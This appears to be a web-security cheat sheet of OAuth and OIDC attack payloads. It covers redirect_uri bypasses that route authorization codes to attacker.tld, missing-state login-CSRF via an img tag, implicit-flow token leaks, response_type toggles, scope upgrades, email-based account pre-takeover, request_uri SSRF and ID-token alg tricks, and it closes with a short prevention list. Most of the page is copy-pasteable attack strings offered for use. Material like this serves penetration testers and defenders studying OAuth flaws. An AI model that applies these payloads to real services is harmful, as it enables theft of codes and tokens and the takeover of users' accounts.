OAuth Hacking: The Complete Guide to OAuth and OIDC Attacks

OAuth and OIDC Hacking Cheat Sheet

A dense, copy-pasteable OAuth reference: redirect_uri tricks, state CSRF, implicit leaks, response_type toggles, scope upgrade, account linking, and OIDC.

Published

Every OAuth attack payload in one place. The core move never changes: exploit a validation gap between the client and the authorization server to steal the code, the token, or the account. For the how and why behind each section, start at the OAuth guide. Lock it in on a free live target.

redirect_uri tricks (steal the code/token)

# baseline registered value:
redirect_uri=https://app.tld/callback
 
# ALL of these work ONLY against prefix/substring/naive matching, NOT exact matching:
redirect_uri=https://app.tld/callback/../../attacker       append path (defeats startswith)
redirect_uri=https://app.tld.attacker.tld/callback         lookalike subdomain (defeats endswith)
redirect_uri=https://[email protected]/callback         @ makes attacker.tld the host
redirect_uri=https://attacker.tld/#https://app.tld/callback  # fragment trick; RFC 6749 forbids # in redirect_uri, so only non-conforming validators
redirect_uri=https://attacker.tld/?x=https://app.tld/callback  ? strands the rest as a query
redirect_uri=https://app.tld/redirect?to=https://attacker.tld  open redirect on an allowed host
 
# encoding bypasses of a naive validator:
redirect_uri=https://app.tld/callback%[email protected]      %2f = '/'
redirect_uri=https://app.tld/%2e%2e/attacker               %2e = '.'
redirect_uri=https://app.tld/%252e%252e/attacker           double-encode vs decode-once
 
# loopback allowances some servers grant too broadly:
redirect_uri=http://localhost/callback
redirect_uri=http://127.0.0.1/callback

Exact-match validation defeats every line above. See redirect_uri manipulation.

Missing / weak state (CSRF and login-CSRF)

# drop it entirely: does the callback still complete?
/callback?code=CODE                     (no state)
/callback?code=CODE&state=              (empty)
/callback?code=CODE&state=static123     (reused / predictable value)
 
# login-CSRF: deliver YOUR code to the victim so their session links to YOUR account:
<img src="https://app.tld/callback?code=YOUR_CODE">

state binds the callback to the session. PKCE binds the code to the client and incidentally blunts login CSRF (the delivered code needs the originating session's verifier), so the attack lands on flows with neither. Enforce both. See the state parameter and CSRF.

Implicit flow (token in the fragment, legacy)

response_type=token   ->   https://app.tld/callback#access_token=...&token_type=Bearer
# the fragment leaks via: browser history, client-side logs, any location.hash reader (NOT Referer: browsers strip the fragment)
# chain an open redirect on the client to forward the fragment to attacker.tld

response_type / response_mode toggles

response_type=token            force legacy implicit (fragment leak)
response_type=code token       hybrid: leaks a token alongside the code
response_type=id_token token   OIDC implicit (no code)
response_mode=query            move a token into the query string (logs/Referer)
response_mode=fragment         back into the fragment
response_mode=form_post        POSTs the response; sometimes skips a check the others enforce

Scope upgrade

# request more than the UI asked for; works ONLY if the AS has prior consent for the scope or skips downscoping (most AS re-prompt):
scope=openid profile email        ->   scope=openid profile email admin
scope=read                        ->   scope=read write

Account linking (pre-takeover)

1. attacker registers [email protected] as a LOCAL account first (if signup skips email verification)
2. victim later clicks "Link Google" -> provider asserts [email protected]
3. if the app links on the email claim WITHOUT verifying ownership,
   the identities merge onto the account the attacker already controls

Stealing codes via a leaky redirect

# if redirect_uri can point at an open redirect on an allowed host:
redirect_uri=https://app.tld/redirect?to=https://attacker.tld
# the authorization code lands on attacker.tld (query or Referer); redeem it fast (single-use)

OIDC-specific

# issuer / sub confusion: a token from provider A accepted where B was expected
# request_uri SSRF: the AS fetches an attacker-controlled request object
request_uri=https://attacker.tld/malicious-request-object
# JWKS / alg tricks on the ID token: alg:none, or jku/x5u pointing at attacker keys  (see /learn/jwt)
# nonce replay: reuse an old id_token when the client does not check nonce
# discovery recon:
GET /.well-known/openid-configuration

Prevention

  • Register and enforce exact redirect_uri values. No wildcards, no prefix/substring matching, no open redirects on allowed hosts.
  • Require PKCE for every public client, binding the code to the verifier.
  • Generate, store, and strictly verify state (CSRF) and nonce (OIDC replay) on every flow.
  • Deprecate implicit and hybrid. Use authorization code only and keep tokens out of the URL.
  • Verify email ownership before linking a social account to any existing account.
  • On ID tokens, validate signature, iss, aud, exp, and nonce. Pin JWKS and reject alg:none and attacker key URLs.

Full detail in preventing OAuth attacks. The ID-token signature attacks are in JWT.

← Back to OAuth Hacking: The Complete Guide to OAuth and OIDC Attacks